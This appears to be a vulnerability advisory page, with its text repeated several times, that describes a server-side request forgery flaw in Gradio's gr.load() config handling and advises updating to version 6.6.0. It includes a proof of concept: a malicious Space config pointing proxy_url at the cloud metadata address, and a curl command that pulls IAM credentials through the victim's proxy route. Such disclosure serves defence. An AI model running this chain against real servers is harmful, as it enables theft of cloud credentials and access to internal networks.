### Summary A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. ### Details The vulnerability exists in Gradio's config processing flow when loading external Spaces: 1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration. 2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`: ```python if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) ``` 3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint: ```python @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): ``` 4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host: ```python is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls ) ``` An attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints. ### PoC Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 **1. Attacker creates a malicious Gradio Space** that returns this config: ```python { "mode": "blocks", "components": [...], "proxy_url": "http://169.254.169.254/" # AWS metadata endpoint } ``` **2. Victim loads the malicious Space:** ```python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(server_name="0.0.0.0", server_port=7860) ``` **3. Attacker exploits the proxy:** ```bash # Fetch AWS credentials through victim's server curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" ``` ### Impact **Who is impacted:** - Any Gradio application that uses `gr.load()` to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks **Attack scenarios:** - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - **Internal service access**: Reach databases, admin panels, and APIs on private networks - **Network reconnaissance**: Map internal infrastructure through the victim - **Data exfiltration**: Access sensitive internal APIs and services
### Summary A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. ### Details The vulnerability exists in Gradio's config processing flow when loading external Spaces: 1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration. 2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`: ```python if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) ``` 3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint: ```python @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): ``` 4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host: ```python is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls ) ``` An attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints. ### PoC Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 **1. Attacker creates a malicious Gradio Space** that returns this config: ```python { "mode": "blocks", "components": [...], "proxy_url": "http://169.254.169.254/" # AWS metadata endpoint } ``` **2. Victim loads the malicious Space:** ```python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(server_name="0.0.0.0", server_port=7860) ``` **3. Attacker exploits the proxy:** ```bash # Fetch AWS credentials through victim's server curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" ``` ### Impact **Who is impacted:** - Any Gradio application that uses `gr.load()` to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks **Attack scenarios:** - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - **Internal service access**: Reach databases, admin panels, and APIs on private networks - **Network reconnaissance**: Map internal infrastructure through the victim - **Data exfiltration**: Access sensitive internal APIs and services
Update gradio to 6.6.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing affects gradio (pip). Severity is high. ### Summary A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. ### Details The vulnerability exists in Gradio's config processing flow when loading external Spaces: 1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration. 2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`: ```python if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) ``` 3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint: ```python @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): ``` 4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host: ```python is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls ) ``` An attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints. ### PoC Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 **1. Attacker creates a malicious Gradio Space** that returns this config: ```python { "mode": "blocks", "components": [...], "proxy_url": "http://169.254.169.254/" # AWS metadata endpoint } ``` **2. Victim loads the malicious Space:** ```python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(server_name="0.0.0.0", server_port=7860) ``` **3. Attacker exploits the proxy:** ```bash # Fetch AWS credentials through victim's server curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" ``` ### Impact **Who is impacted:** - Any Gradio application that uses `gr.load()` to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks **Attack scenarios:** - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - **Internal service access**: Reach databases, admin panels, and APIs on private networks - **Network reconnaissance**: Map internal infrastructure through the victim - **Data exfiltration**: Access sensitive internal APIs and services
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | <6.6.0 | 6.6.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gradio to 6.6.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing affects gradio (pip). Severity is high. ### Summary A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. ### Details The vulnerability exists in Gradio's config processing flow when loading external Spaces: 1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration. 2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`: ```python if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) ``` 3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint: ```python @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): ``` 4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host: ```python is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls ) ``` An attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints. ### PoC Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6 **1. Attacker creates a malicious Gradio Space** that returns this config: ```python { "mode": "blocks", "components": [...], "proxy_url": "http://169.254.169.254/" # AWS metadata endpoint } ``` **2. Victim loads the malicious Space:** ```python import gradio as gr demo = gr.load("attacker/malicious-space") demo.launch(server_name="0.0.0.0", server_port=7860) ``` **3. Attacker exploits the proxy:** ```bash # Fetch AWS credentials through victim's server curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name" ``` ### Impact **Who is impacted:** - Any Gradio application that uses `gr.load()` to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces - Enterprise deployments where Gradio apps have access to internal networks **Attack scenarios:** - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials - **Internal service access**: Reach databases, admin panels, and APIs on private networks - **Network reconnaissance**: Map internal infrastructure through the victim - **Data exfiltration**: Access sensitive internal APIs and services
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | <6.6.0 | 6.6.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard